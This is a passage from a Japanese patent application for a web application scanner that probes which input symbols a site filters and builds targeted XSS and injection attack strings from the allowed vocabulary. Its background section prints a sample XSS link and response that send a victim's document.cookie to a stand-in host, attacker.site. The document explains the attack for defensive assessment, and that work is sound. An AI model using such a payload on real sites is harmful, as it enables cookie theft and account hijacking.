攻撃文字列（ａｔｔａｃｋｓｔｒｉｎｇｓ）の知的生成に基づくウェブアプリケーション評価
【課題】攻撃文字列の知的生成に基づくウェブアプリケーション評価のための方法を提供する。
【解決手段】ウェブアプリケーションが、評価で使用される攻撃シーケンスを知的に生成することによって、より効率的に解析される。ウェブアプリケーションにおいてあらかじめ準備された静的文字列のリストを単に送信するのではなく、ウェブアプリケーションのオペレーションが解析されて、ウェブサイトのフィルタリング及び許可の特性を判断する。この情報が確認されると、許可されたシンボルの語彙が作成される。この語彙は、攻撃文字列を組み立てる際に使用され、したがって、ウェブアプリケーションに向けて放たれる攻撃文字列の個数は大幅に削減され、加えて、誤検出の個数も大幅に削減される。
【解決手段】ウェブアプリケーションが、評価で使用される攻撃シーケンスを知的に生成することによって、より効率的に解析される。ウェブアプリケーションにおいてあらかじめ準備された静的文字列のリストを単に送信するのではなく、ウェブアプリケーションのオペレーションが解析されて、ウェブサイトのフィルタリング及び許可の特性を判断する。この情報が確認されると、許可されたシンボルの語彙が作成される。この語彙は、攻撃文字列を組み立てる際に使用され、したがって、ウェブアプリケーションに向けて放たれる攻撃文字列の個数は大幅に削減され、加えて、誤検出の個数も大幅に削減される。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、ウェブサイト解析の分野に関し、より具体的には、ウェブサイトのオペレーションの特性のいくつかに基づいて攻撃文字列を動的に生成することによりサイトを評価する速度及び性能を改善するウェブサイト解析ツールに関する。
【背景技術】
【０００２】
［関連出願］
この出願は、出願番号第１１／５６０，９８４号を割り当てられ、代理人整理番号第１９００６．１０９０号によって識別される２００６年１１月１７日に出願された「CHARACTERIZATION OF WEB APPLICATION INPUTS」と題する米国特許出願、及び、出願番号第１１／５６０，９２９号を割り当てられ、代理人整理番号第１９００６．１０７０号によって識別される２００６年１１月１７日に出願された「IMPROVED WEB APPLICATION AUDITING BASED ON SUB-APPLICATION IDENTIFICATION」と題する米国特許出願に関連し、これらの出願を参照により援用する。これらの出願の双方は、本発明と同じエンティティに譲渡されている。
【０００３】
パーソナルコンピュータのインターネットサーフィングによって容易にされた情報の自由な交換により、さまざまな危険が、その情報をホスティングする組織、さらには、その情報を所有する組織に引き起こされている。この脅威は、ワールドワイドウェブ上でホスティングされ且つ世界のあらゆる場所に位置するほとんどあらゆるパーソナルコンピュータによってアクセス可能な対話型アプリケーションで最も広まっている。ウェブアプリケーションは、多くの形、すなわち、情報ウェブサイト、イントラネット、エクストラネット、電子商取引ウェブサイト、エクスチェンジ、検索エンジン、トランザクションエンジン、又は電子ビジネスの形を取ることができる。これらのアプリケーションは、通常、会社に危険を引き起こす可能性のある弱点を含んだコンピュータシステムにリンクされている。弱点は、システムアーキテクチャ、システム構成、アプリケーション設計、実施構成、及びオペレーションに存在する可能性がある。危険には、計算の誤りの可能性、ハードウェア及びソフトウェアの損傷の可能性、認可されていないユーザによるデータのアクセスの可能性、データの窃盗又は損失の可能性、システムの悪用の可能性、及びビジネスオペレーションの混乱の可能性が含まれる。
【０００４】
デジタル企業が、電子ビジネスの利益を取り入れるにつれて、ウェブベース技術の使用が増大し続ける。今日の法人企業は、それらの法人企業の顧客関係を管理する方法としてウェブを使用し、それらの法人企業のサプライチェーンオペレーションを向上させ、新しい市場に拡大し、顧客及び従業員へ新製品及び新サービスを配備する。しかしながら、ウェブアプリケーションセキュリティの一貫した手法がなければ、ウェブベース技術の強力な利益の実施の成功は、大幅に遅れる可能性がある。
【０００５】
当業界の部外者は、ハッカーが、大量消費者の電子商取引のサイト及びポータルからＮＡＳＡやＣＩＡ等の政府機関に至るまで、ほとんどあらゆる商用ウェブサイトを日常的に攻撃していることを知って驚く場合がある。従来、セキュリティ違反の大部分は、法人企業システムのネットワークレイヤで起こっていた。一方、今日、ハッカーは、法人企業ファイアウォールの内部のウェブアプリケーションを操作しており、それによって、ハッカーが法人企業データ及び顧客データにアクセスして破壊することを可能にしている。会社のウェブアプリケーションコードにごく小さなホールがあっても、ウェブブラウザ（及び少しの決意）さえ備えていれば、経験豊かな侵入者は、ほとんどの商用ウェブサイトに入り込むことができる。
【０００６】
問題は、当業界を監視する者が理解しているものよりもはるかに大きい。多くの米国企業は、ウェブアプリケーションレベルのオンラインアクティビティさえも監視していない。このセキュリティの欠如によって、攻撃が試みられたことさえも気付かれずに済ますことが可能になる。これによって、会社は、反応型セキュリティ体制に置かれる。反応型セキュリティ体制では、事態が発生するまで、何も解決されない。反応型セキュリティは、ポリシー変更の触媒として機密データを犠牲にすることを意味し得る。
【０００７】
新しいレベルのセキュリティ違反は、連続的にオープンしているインターネットポート（一般ウェブトラフィック用のポート８０及び暗号化されたトラフィック用のポート４４３）を通じて起こり始めてきた。これらのポートは、外部から到来するすべてのインターネットトラフィックに対してオープンしているので、ハッカーがセキュアファイル並びに独自の法人企業データ及び顧客データにアクセスできるゲートウェイである。悪質なハッカーがニュースに取り上げられているが、オンライン窃盗、オンラインテロ、及びオンラインスパイ活動の形の脅威の可能性の方がはるかに高く存在する。
【０００８】
今日、ハッカーは、企業の一歩先を行っている。法人企業は、自身のセキュリティポリシーの開発に急ぎ、基本的なセキュリティ基盤も実施している一方、プロのハッカーは、新たな攻撃方法を発見し続けている。ほとんどのハッカーは、「独創的な（out-of-the-box）」セキュリティホールを使用して、段階的に高められた特権を取得したり、会社のサーバ上でコマンドを実行したりしている。既製のウェブアプリケーションを単に間違って構成することにより、疑うことを知らない会社のウェブサイトにセキュリティ脆弱性の穴が開いたままになる。
【０００９】
パスワード、ＳＳＬ及びデータ暗号化、ファイアウォール、並びに標準的なスキャンプログラムは十分でない場合がある。パスワードは、破られる可能性がある。ほとんどの暗号化は、データ伝送しか保護しない。しかしながら、ウェブアプリケーションデータの大部分は、可読形式で記憶される。ファイアウォールは、開口部を有する。スキャンプログラムは、一般に、独自のアプリケーション並びにカスタムウェブページ及びカスタムスクリプトではなく、標準的なサーバ及びアプリケーション上の既知の脆弱性についてネットワークをチェックする。
【００１０】
プログラマは、通常、セキュリティを考慮に入れてウェブアプリケーションを開発することはない。その上、ほとんどの会社は、自身のウェブサイト又はウェブアプリケーションの開発の大部分を、サードパーティ開発資源を使用して外注し続けている。これらの開発グループが個人であろうとコンサルタント会社であろうと、ほとんどのプログラマが、開発計画の「特徴及び機能」の側面に集中し、セキュリティがコーディングの実施に組み込まれていることを前提としているということである。しかしながら、これらのサードパーティ開発資源は、通常、コアセキュリティの専門的知識さえも有しない。また、サードパーティ開発資源は、「安全な解決策」を実施するのに必要とされるセキュリティの綿密な検査には役に立たない、迅速な開発スケジュール等の一定の目的も有する。
【００１１】
ウェブアプリケーションを操作することは簡単である。ハッカーが、製品価格を示す隠しフォームフィールド（hidden form field）を見つけて変更することは、多くの場合、比較的簡単である。同様の技法を使用すると、ハッカーは、コモンゲートウェイインターフェース（ＣＧＩ）スクリプトのパラメータを変更して、製品価格の代わりにパスワードファイルを検索することもできる。検索機能等、ウェブアプリケーションのいくつかのコンポーネントが、正しく統合されず且つ構成されていない場合、そのサイトは、ハッカーが管理ページにアクセスすることを認めることを可能にするバッファオーバーフロー攻撃を受ける可能性がある。今日のウェブアプリケーションのコーディングの実施は、認可されていないアクセスから会社及びそのデータを安全に保つのに必要とされる最も基本的なセキュリティ対策のいくつかを大いに無視している。
【００１２】
開発者及びセキュリティのプロは、標準的なアプリケーション及び独自のアプリケーションの双方においてホールを検出できなければならない。次に、開発者及びセキュリティのプロは、セキュリティホールの重大さを査定して、優先順位付けされた解決策を提案することができ、それによって、組織は、既存のアプリケーションを保護し、新しいソフトウェアを素早く実施することが可能になる。通常のプロセスは、ウェブ接続されたデバイス上のすべてのアプリケーションを査定し、既存のセキュリティ脆弱性及び潜在的なセキュリティ脆弱性についてアプリケーションロジックの各ラインを検査することを伴う。
【００１３】
ウェブアプリケーション攻撃は、通常、５つのフェーズ、すなわち、デフォルトページのポートスキャン、サーバタイプ及びアプリケーションロジックについての情報収集、アプリケーション機能の体系的試験、攻撃の計画、及び攻撃の開始を伴う。攻撃の結果は、データ喪失、コンテンツ操作、さらには顧客データの窃盗及び喪失となる可能性がある。
【００１４】
ハッカーは、多数の技法を用いて、ウェブアプリケーションを悪用することができる。いくつかの例には、パラメータ操作、強制パラメータ（forced parameter）、クッキーの不正変更、共通ファイル照会（common file query）、既知のセキュリティの弱点の使用、ディレクトリ列挙、ウェブサーバ試験、リンクトラバーサル、パストランケーション（path truncation）、セッションハイジャック、隠しウェブパス、Ｊａｖａ（登録商標）アプレットリバースエンジニアリング、バックアップチェック、拡張子チェック、パラメータ渡し、クロスサイトスクリプティング、及びＳＱＬインジェクションが含まれる。
【００１５】
評価ツールは、ウェブアプリケーションの脆弱性及びウェブサイトの脆弱性の詳細な解析を提供する。図１は、評価ツールの一般的構造のシステム図である。ウェブ評価インターフェース１００を通じて、ユーザは、ネットワーク１２０上で利用可能なウェブサーバ又は宛先システム１１０に存在するどのアプリケーション、サイト、又はウェブサービスを解析するかを指定する。ユーザは、評価のタイプを選択し、どのポリシーを使用するかを選択し、ＵＲＬを入力し、それから、プロセスを開始する。
【００１６】
評価ツールは、ソフトウェアエージェント１３０を使用して、脆弱性評価を行う。ソフトウェアエージェント１３０は、ツールが、誤検出を最小にしながら、知的アプリケーションレベル脆弱性チェックを適用して、セキュリティの問題を正確に特定することを可能にする高度なヒューリスティックセットから成る。ツールは、ソフトウェアエージェントを使用してアプリケーションのクロールフェーズ（crawl phase）を開始し、すべてのエリアのカタログを動的に作成する。これらのエージェントがそれらの評価を完了すると、結果を解析できるように、見つかったものは評価データベース１４０を通じてメインセキュリティエンジンへ報告される。次に、ツールは、他のソフトウェアエージェントを起動することによって監査フェーズに入る。これらの他のソフトウェアエージェントは、収集された情報を査定し、攻撃アルゴリズムを適用して、脆弱性の存在及び重大さを判断する。次に、ツールは、結果を相関させ、それらの結果を、理解するのに容易なフォーマットで報告インターフェース１５０に提示する。
【００１７】
ウェブアプリケーションに対するよく知られている攻撃の１つは、クロスサイトスクリプティング、すなわちＸＳＳと呼ばれているものである。ＸＳＳは、ウェブアプリケーションのユーザについての個人情報又は悪意のある情報を収集するためにウェブアプリケーションに対して使用される技法であり、ハッカーが、ウェブアプリケーション内に不法侵入するのに使用する最も一般的なアプリケーションレベル攻撃の１つである。ＸＳＳは、攻撃者に加えて、ウェブアプリケーション及びユーザを伴う三者攻撃である。
【００１８】
ＸＳＳ攻撃が入る時に通る基本的な扉は、脆弱なサイトに存在する脆弱なスクリプトである。この脆弱なスクリプトは、ＨＴＴＰ要求を受け取るように動作し、次に、そのＨＴＴＰ要求を、その要求を送信したページにエコーバックする。ＨＴＴＰ要求のエコーは、全エコーの場合もあるし、部分エコーの場合もあるが、いずれの場合も、スクリプトは、ＨＴＴＰ要求をエコーバックする前に、まずＨＴＴＰ要求の内容をきれいに（sanitize）しないので、脆弱性が存在する。したがって、ＨＴＴＰ要求が、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔコード又はＨＴＭＬタグ等の悪意のあるオブジェクトを含んでいる場合、これらのオブジェクトは、受信側ブラウザが作動させることができ、損傷を引き起こしたり、ユーザのプライバシーを侵害したりすることができる。
【００１９】
当業者は、ＸＳＳを使用して悪用できるさまざまな技法及び脆弱性に精通しているだろうが、明瞭にするために、ＸＳＳ攻撃の具体例を提示する。多くのウェブサイトは、そのウェブサイトにログインした後又はそのウェブサイトにアクセスした時に提示されるウェルカムページを含む。ウェルカムスクリプト（すなわち、Ｗｅｌｃｏｍｅ．ｃｇｉ）は、一般に、パラメータ［名前］を受け取り、実行されると、ウェルカムメッセージをユーザに提供する。ウェブアプリケーションへ送信される要求は、一般に、
GET /welcome.cgi?name=WORLD HTTP/1.0
host: www.targetwebsite.com
として構造化される。
【００２０】
この要求を受信すると、www.targetwebsite.comのウェブアプリケーションは、以下の応答で応じる。
<HTML>
<Title>Welcome to the TargetWebsite</Title>
HELLO WORLD
<BR>
...
</HTML>
【００２１】
ＸＳＳ攻撃を使用してこの能力を悪用するために、ハッカーは、特別に構造化されたリンクを、ユーザがアクティブ化するのに便利なロケーションに配置する。このような配置には、電子メールメッセージ内、又は、電子メールメッセージからアクセスされるウェブサイト若しくはユーザによってブラウジングされる可能性のあるウェブサイトが含まれ得る。基本的には、このリンクは、名前のパラメータ値を、ユーザのブラウザにエコーされるとすぐに実行されるＪａｖａ（登録商標）Ｓｃｒｉｐｔに置き換えるものである。一般に、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔは、クライアントブラウザが前に作成して、ターゲットウェブサイトに関連付けられたクッキーにアクセスするのに使用される。Ｊａｖａ（登録商標）Ｓｃｒｉｐｔからのセキュリティモデルは、特定のサイトから到着するスクリプトが、そのサイトに属するクッキーにアクセスすることを可能にし、ブラウザは、ターゲットウェブサイトから来るＪａｖａ（登録商標）Ｓｃｒｉｐｔを単に受けるだけであるので、それらのクッキーは、この攻撃に対して脆弱にされる。特別に構造化されたリンクは、以下のように見える場合がある。
http://www.target.site/welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>
【００２２】
ユーザが悪意のあるリンクをアクティブ化すると、ブラウザは、以下の要求を生成する。
GET /welcome.cgi?name=<script>window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)</script>HTTP/1.0
Host:www.target.site
【００２３】
この要求に応答して、ターゲットウェブサイトは、以下の応答を提供する。
<HTML>
<Title>Welcome to the TargetWebsite</Title>
Hello<script>windows.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>
<BR>
...
</HTML>
【００２４】
ユーザのブラウザは、この応答を受信して、１つのＪａｖａ（登録商標）Ｓｃｒｉｐｔコードを含むＨＴＭＬページとしてこの応答を解釈する。次に、ブラウザは、このＪａｖａ（登録商標）Ｓｃｒｉｐｔコードを積極的に実行する。このＪａｖａ（登録商標）Ｓｃｒｉｐｔコードは、次に、ターゲットウェブサイトに属するすべてのクッキー又はターゲットウェブサイトに関連付けられているすべてのクッキーへのアクセスを可能にし、次いで、攻撃者のウェブサイト上のスクリプト、すなわち、クッキーをパラメータとして受け取るcollect.cgiを起動することによって、それらのクッキーを攻撃者のウェブサイトへ送信する。
【００２５】
このように、ハッカーは、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔ、ＶＢＳｃｒｉｐｔ、ＡｃｔｉｖｅＸ、ＨＴＭＬ、又はＦｌａｓｈを脆弱なウェブアプリケーションに注入して、ユーザに損害を与え、ユーザから情報を得ることができる。この情報は、アカウントハイジャック、ユーザ設定の変更、クッキーの窃盗／改ざん、又は虚偽広告になる可能性がある。ハッカーは、ＸＳＳ攻撃を毎日のように行う新たな方法を作成している。
【００２６】
通例、静的チェックを有する脆弱性データベースを使用することは、成功する手法であった。今日のウェブアプリケーション及びウェブサービスの評価製品は、ＸＳＳ及びＳＱＬインジェクションのようなセキュリティ脆弱性について数千もの静的チェックを売り物にしている。ウェブアプリケーション評価ソフトウェアベンダは、基本的には、ほとんどのチェックを有する最良の脆弱性データベースを作成して市場で売買するように努力してきた。しかしながら、ウェブアプリケーション及びそれらの機能がスケール及び複雑さにおいて増大したことから、標準的なウェブアプリケーションスキャン方法論に関する問題が増加してきた。当業界が、現在、増加するチェックに取り組む速度によれば、脆弱性データベースは、数年で数万個の静的チェックを有することになる。アプリケーションのスキャン時間は、脆弱性データベースの追加の各チェックと共に線形に拡大するので、その多くのチェックでは、アプリケーションスキャンを実行するのに必要な時間はかなり大きくなる。したがって、脆弱性評価ツールの有効性を損なうことなく、このような脆弱性を識別するのに必要な時間を大幅に減少させる新しい技術が、当該技術分野及び関連業界で必要とされている。
図２は、クロスサイトスクリプティングのインスタンスを探し出している時に、従来のウェブアプリケーションスキャン脆弱性評価がどのように行われるかを示す概念図である。ダイアログボックスをオープンできるか否かを調べるために、同じ攻撃が、アプリケーションの「クロール」中に発見されたすべての入力手段に対して繰り返しサブミットされ、このことは、アプリケーションが、クロスサイトスクリプティングの影響を確かに受けやすいことを示す。たとえ、ウェブアプリケーションが、「＞」等の潜在的に悪意のある文字をフィルタリングしても、その文字を含む複数の攻撃が依然としてサブミットされる。したがって、現時点で最新の脆弱性評価ツールに関していくつかの問題があり、それによって、当該技術分野では、改善された方法論の必要性が生み出されている。
【００２７】
当該技術分野に存在するニーズ又は問題の１つは、静的チェックを使用する従来の手法が、その課題を解決する際に「インテリジェンス」の適用を欠いているということである。評価ツールにおける標準的な「バルク」手法は、イエス又はノー及びサブミットされている純粋な数の脆弱性シグネチャ以外のインテリジェンスもロジックも利用しない「オールオアナッシング」方法論を適用する点で、非常に限定的である。当該技術分野の状態に存在する別の問題は、評価に時間がかかりすぎるということである。前述したように、潜在的な脆弱性及びそれらの変形形態の個数は、絶えず増大している。この状況に対処するには、静的チェックのリストが長いほど、静的チェックのそれぞれがアプリケーションに対してサブミットされなければならず、スキャン時間は遅くなることを意味する。スキャンの精度を確保するだけでも、静的チェックの大きなデータベースを要する。当該技術分野のさらに別の問題は、現在の技術を使用すると、非常に多くの誤検出が生成されるということである。ウェブの脆弱性及び技術は時間と共に変化するので、チェックが正確であり続けることは困難である。脆弱性シグネチャは、「ハードコード化」されて静的であり、技術に大きく依存している。基本的には、サーバが何で応答しているかについて、脆弱性シグネチャを動的にすることも知的にすることもできない。これは、自動化された評価ツールが、実際には存在しない脆弱性にフラグを立てるときに非常に多くの「誤検出」につながる可能性がある。各誤検出は、手作業で検証しなければならず、これは、多くの時間を要するタスクである。
【発明の開示】
【発明が解決しようとする課題】
【００２８】
このように、当該技術分野では、評価を行う静的手法にだけ依拠するのではなく、評価を行う際にインテリジェンスを実際に適用できる、脆弱性評価を行うための方法及びシステムが必要とされている。このような解決策は、評価を行う際に行わなければならないチェックの回数の削減を可能にすべきであり、性能を改善すべき、すなわち、評価を行うのに必要とされる時間を削減すべきであり、且つ、誤検出の発生を低減するのに役立つべきである。したがって、正確ではあるが今日の技術よりも高速且つ効率的な方法でウェブサイト及びウェブアプリケーションを解析する複雑さが増加の一途をたどっているが、当該技術分野では、この増加の一途をたどる複雑さに取り組むことができるウェブサイト及びウェブアプリケーションの評価ツールが必要とされている。本明細書で説明する本発明は、このような解決策を提供する。
【課題を解決するための手段】
【００２９】
本発明は、さまざまな特徴及び態様を含むが、一般に、ウェブアプリケーションを査定し又はウェブアプリケーションを評価して、ウェブアプリケーションが何らかの脆弱性を有するか否かを判断する技法を対象とする。背景のセクションで説明したように、ウェブアプリケーション及びウェブサイトに対して開始される非常に一般的な攻撃は、ＸＳＳ攻撃を使用したものである。これらの攻撃は、開始するのが比較的容易であり、多くのウェブサイト及びウェブアプリケーションがこれらのタイプの攻撃にかなり脆弱であることが分かっている。ウェブサイト又はウェブアプリケーションを評価して、このような攻撃に対する脆弱性を識別することは、非常に必要なプロセスであるが、かなり多くの時間を消費する。本発明は、ウェブアプリケーションのこのような評価を、ウェブ評価ツールの効率性及び有効性を大幅に改善した方法で行うことを可能にする。本発明の一態様は、ウェブアプリケーションの入力をプローブ（probe）して、どのマークアップ言語構成体がウェブアプリケーションによってフィルタリングされるかを判断することである。本発明は、ウェブサーバが、一般に、ウェブアプリケーションにわたって一貫的であるようにし、したがって、一定の構成体又は言語コンポーネントがウェブアプリケーションの或る入力によってフィルタリングされる場合、これらの同じ構成体又はコンポーネントは、ウェブアプリケーションの類似の入力によってフィルタリングされるということを利用する。加えて、静的攻撃文字列をウェブアプリケーションの入力に向けて網羅的に放つのではなく、本発明は、文字列がいつ拒否されるのか、文字列がなぜ拒否されるのかを判断し、次に、評価においてその手法を変更する。評価に対するこの変更は、基本的に、ウェブアプリケーションの以前に監視された特性に基づいて間違いなく拒否されるさらなる攻撃を省略することから成る。
【００３０】
したがって、一般に、本発明の一実施の形態は、まず、ウェブアプリケーションをプローブして、ウェブサーバによりフィルタリングされないシンボルを識別し、次に、プローブするステップの結果に基づいて攻撃文字列を構成することによって、マークアップ言語ベースのウェブアプリケーションの脆弱性を評価するように動作する。
【００３１】
より具体的には、本発明は、ウェブアプリケーションを知的に解析するウェブアプリケーション脆弱性評価ツールである。これは、まず、ウェブアプリケーションのクロールを行って、入力フィールドを識別することにより行われる。加えて、ウェブアプリケーションの入力フィールドの入力として使用できるシンボルのドメインが識別される。このドメインは、評価ツールに提供される可能性があり、あるいは、ウェブサイトの言語を識別し、且つその言語の構成体をドメインとして使用することにより、評価ツールによって生成される可能性がある。次に、シンボルのいずれがウェブアプリケーションによってフィルタリングされ、いずれがウェブアプリケーションによって受け付けられるのかに関する判断が行われる。フィルタリングされたシンボルは、基本的に、トスされて（tossed）役に立たないが、受け付けられたシンボルは、語彙を組み立てるのに使用される。この語彙を使用して、攻撃文字列が生成される。次に、これらの攻撃文字列は、ウェブアプリケーションへ送信され、応答がレビューされて、ウェブアプリケーションに存在し得る何らかの脆弱性が判断される。
【００３２】
一実施の形態では、どのシンボルがフィルタリングされ、どれが許可されるのかを判断するプロセスは、まず、シンボルの１つ又は２つ以上を含む文字列を作成することを含む。次に、文字列は、ウェブアプリケーションへ入力として送信される。ウェブアプリケーションからの応答は、解析されて、受け付けられたシンボルがもしあれば、どのシンボルが受け付けられたかが識別される。これは、複数の文字列が作成され、ウェブアプリケーションへ送信され、解析され、そして、語彙を変更するのに使用される反復プロセスとすることができる。攻撃文字列を生成するプロセスは、語彙の生成後に動作することもできるし、語彙生成と同時に実行することもできる。たとえば、攻撃文字列が生成されて送信されるとすぐに、応答が解析されて、攻撃が実際に機能したか否かが確認される。この検証ステップによって、誤検出が削減され、また、許可された記号体系に関するフィードバックも提供される。攻撃が、許可されることが判明しているシンボルから成る場合、これらのシンボルの組み合わせが、実際にはフィルタリングされる場合がある。本発明は、この場合、これらのシンボル又はシンボルのグループに反復適用することができ、それによって、語彙を変更することができる。
【００３３】
図及び以下の説明は、本発明のさまざまな態様及び特徴を詳しく述べている。
【発明を実施するための最良の形態】
【００３４】
本発明は、知的エンジン技術の使用を用いることによって、脆弱性評価ツールに大幅な改良をもたらす。本発明は、顧客及び解析者がウェブアプリケーション評価製品を評価する方法を大幅に変更することになる技術を導入する。本発明は、静的チェックの使用を時代遅れのものとするものではないが、それでも、本発明は、ウェブアプリケーション評価製品の性能、信頼性、及び効率を改善する解決策を提供する。一般に、本発明は、知的エンジン及び静的チェックの組み合わせを利用して、徹底した効率の良いウェブアプリケーション評価製品を提供する。
【００３５】
好都合に、本発明は、セキュリティのプロが、はるかに高速に評価を完了することを可能にし、誤検出を実質的になくすことを可能にし、且つ、評価中に発見される真の脆弱性の個数を増加させることを可能にする。現時点で最新の静的チェック技術を本発明の技術と比較する良い物差しには、評価を行う時間、及び、識別される誤検出の個数が含まれる。本発明によって利用可能な改良の規模の理解を与える簡単な比較として、本発明のすべての実施形態についての完全に正確な投影というわけではないが、現在の静的チェック技術を使用すると、ＸＳＳのような脆弱性の自動化された試験は、最大で３時間を要する可能性があり、多くの誤検出を有する結果を与える。一方、現在の最先端の計算能力を与えて本発明の知的エンジン技術を使用すると、処理時間はものの数分（すなわち、１２〜１５分）に削減することができ、ほとんど誤検出は確認されない。
【００３６】
本発明は、アプリケーションの状態を解析し、次に、目標とする攻撃にその知識を使用する知的で高度なエンジンを提供することによって評価を行うための構造化された論理ベース手法を提供する。これとは対照的に、現在の静的チェック技術手法は、アプリケーションの特異性を考慮せずに、あらゆる可能な攻撃オプションを放つ。
【００３７】
本発明の実施形態は、サーバがさまざまな要求にどのように応答するかに基づいて攻撃を動的に生成するように動作する。基本的に、本発明は、ウェブアプリケーションの一般的な応答特性を識別するためにより詳細なレベルで機能することにより行われる多数のチェックをなくすように動作し、且つ、この情報に基づいて、行う必要のあるチェックの量を大幅に削減する。図３は、図２に示す静的チェック技術システムによって用いられる技法と対照的な本発明の一実施形態で用いられる技法の概念図である。
【００３８】
図４は、本発明のオペレーションの超高レベル図を示すフロー図である。本発明は、評価ツールを駆動するエンジン内で具現化することができる。このフローチャートで説明するステップは、必ずしも、本順序で行われる文字通りのステップであるとは限らない。逆に、これらのステップは、本発明のさまざまな実施形態のさまざまな方法で実施できる機能ステップである。加えて、これらの機能ステップは、反復的なものとすることができ、且つ、統合することができる。たとえば、或る機能ステップの一部を複数回繰り返すことができ、他の機能ステップで生成された結果に応答するようにすることができる。最初に、エンジンは、クロールの結果の実行若しくは受け取りを行うか、又は、他の技法を使用して、ウェブアプリケーションにより生成されたウェブページ上のどのロケーションが入力を受け付けるかを判断する（４１０）。この判断は、その入力がフレーム構造内、フォーム内、選択ボックス内等にあるか否かを識別することを含むことができる。次に、エンジンは、何がそのページ上で又は特定のデータエントリーロケーションにおいて入力として許可されるのかを判断する（４２０）。このプロセスは、異なる文字、シンボル、文字列等を、ウェブページのデータ入力へシリアルに送信すること、及び、その応答を監視することを伴う。例示的な実施形態では、これは、入力許可の範囲を明確に識別するために、開始時に用いられる基本的な初歩ステップを含んだ非常に体系的で且つ集中的な手順とすることができる。ウェブアプリケーションからの応答の監視は、Ｊａｖａ（登録商標）Ｓｃｒｉｐｔパーサの使用等のさまざまな方法で行うことができる。Ｊａｖａ（登録商標）Ｓｃｒｉｐｔパーサは、応答をパースして、脆弱性が存在するか否か、又は、どの特定の文字、シンボル、若しくは文字列が受け付けられるか若しくはフィルタリングされるかを判断するものである。本発明のこの態様の特定の一実施形態を図６に示す。入力許可及び入力フィルタが特徴付けられた後、エンジンは、次に、攻撃文字列を組み立てる（４３０）。エンジンは、これらの攻撃文字列を使用して、アプリケーションに対して攻撃をサブミットする（４４０）。最後に、エンジンは、攻撃に対する応答を解析して、攻撃が成功したか否か、または、攻撃が失敗したか否かを判断する（４５０）。攻撃が失敗した場合、本発明のさまざまな実施形態は、失敗の原因をさらに特定する動作を取ることができ、攻撃を変更する改善動作さえも取ることができる。本発明のこの態様の一実施形態の一例を図６に示す。一般的な例として、本発明は、ウェブアプリケーションが、文字「＜」及び「＞」を適切にフィルタリングするか否かを判断するように動作することができる。ウェブアプリケーションがこれらの文字をフィルタリングする場合、本発明は、これらの文字のＨＴＭＬエンティティ、すなわち１６進表現（つまり、％３Ｃ及び％３Ｅ）がフィルタリングされるか否かを判断するように動作することができる。さらに、本発明は、マークアップ言語全体又はそのサブセットを定義する一組の文字、シンボル、式等を調べて、許可された語彙対フィルタリングされた語彙を識別し、次に、この知識に基づいて攻撃文字列を組み立てる。
【００３９】
図５は、ウェブアプリケーションの入力許可を見つけて、受け付け可能な入力の語彙を生成するエンジンの例示的な一実施形態に関係したステップを示すフロー図である。本発明が利用するウェブアプリケーションの特性の１つは、ウェブサーバが、一般に、限られた一組のバックエンド処理ルーチンを使用するということである。したがって、ウェブアプリケーション上でさまざまな入力をプローブすることから受信された応答は、入力セット全体又は少なくとも入力の数グループのいずれかにわたって一貫する傾向があるであろう。関連出願のセクションで参照された米国特許出願にさらに記載されているように、バックエンド処理ルーチンに基づいて、入力を特徴付ける動作及び入力を分類する動作を取ることができる。この特性によって、エンジンは、語彙を組み立てている間、重複したプローブを削除することが可能になる。最初に、エンジンは、入力文字、入力シンボル、入力文字列等の所定のドメインにアクセスするか又はこの所定のドメインから開始する（５１０）。この所定のドメインは、入力記号体系と呼ばれる。基本的に、入力記号体系は、ターゲットウェブアプリケーションで使用されるマークアップ言語又はアサートされている特定の攻撃技法に含まれるすべての構成体、コマンド、シンボル、指令、属性、及びキーワードから成る。たとえば、記号体系は、ＨＴＭＬ、ＸＭＬ等の間で異なる場合がある。さらに、ＳＱＬインジェクションの場合、記号体系はＳＱＬ構成体を含み、ＬＤＡＰはＬＤＡＰ構成体等を使用するであろう。本発明は、ＨＴＭＬ構成体から成る記号体系等の単一の記号体系に的を絞った一実施形態に組み込まれて単一の共通語彙を生成することもできるし、複数の記号体系を組み合わせた一実施形態に組み込まれて個別の語彙を生成することもできることが、十分理解されるべきである。次に、入力記号体系の各メンバーについてのループ、又は、入力記号体系のメンバーのサブセットについてのループに入る（５１２）。このループは、記号体系全体が利用されるか、又は、記号体系の識別され若しくは選択されたサブセットが利用されるまで実行され、一実施形態及び別の実施形態では、停止する時を識別する制限を課すことができる。たとえば、語彙が、攻撃を組み立てて開始するのに必要な要素のすべてを含むポイントまで成長した場合、ループを早期に終了することができる。さらに、ループを攻撃プロセスと並列に又は攻撃プロセスと共に実行することもできる。
【００４０】
記号体系のメンバーの１つ又は２つ以上を使用して、プローブが形成（formulate）され、ウェブアプリケーションへ送信される（５１４）。このプローブは、さまざまなフォーマットを取ることができ、本発明は、どの特定のフォーマットにも限定されるものではない。次に、プローブに対するウェブアプリケーションの応答が受信される（５１６）。この応答は、もしあれば、記号体系のどのメンバーがウェブサーバによってフィルタリングされ、この入力についてどれが許可されたかを判断するために解析される（５１８）。次に、受け付けられた記号体系のメンバーが、語彙に入力される（５２０）。次に、処理は、ループの最上部に戻り（５１２）、記号体系の次の１つまたは２つ以上のメンバーを扱う。プローブは、記号体系のいくつかのメンバーの文字列を含みうることが十分理解されるべきである。文字列全体が受け付けられる場合、記号体系のそれらのメンバーのそれぞれは、語彙内に置かれる。例示的な一実施形態では、文字列に含まれた個々のシンボルは語彙に個々のエントリーとして入力されうる。別の実施形態では、シンボルの文字列全体が語彙に入力されうる。文字列全体が拒否された場合、「分割統治（divide and 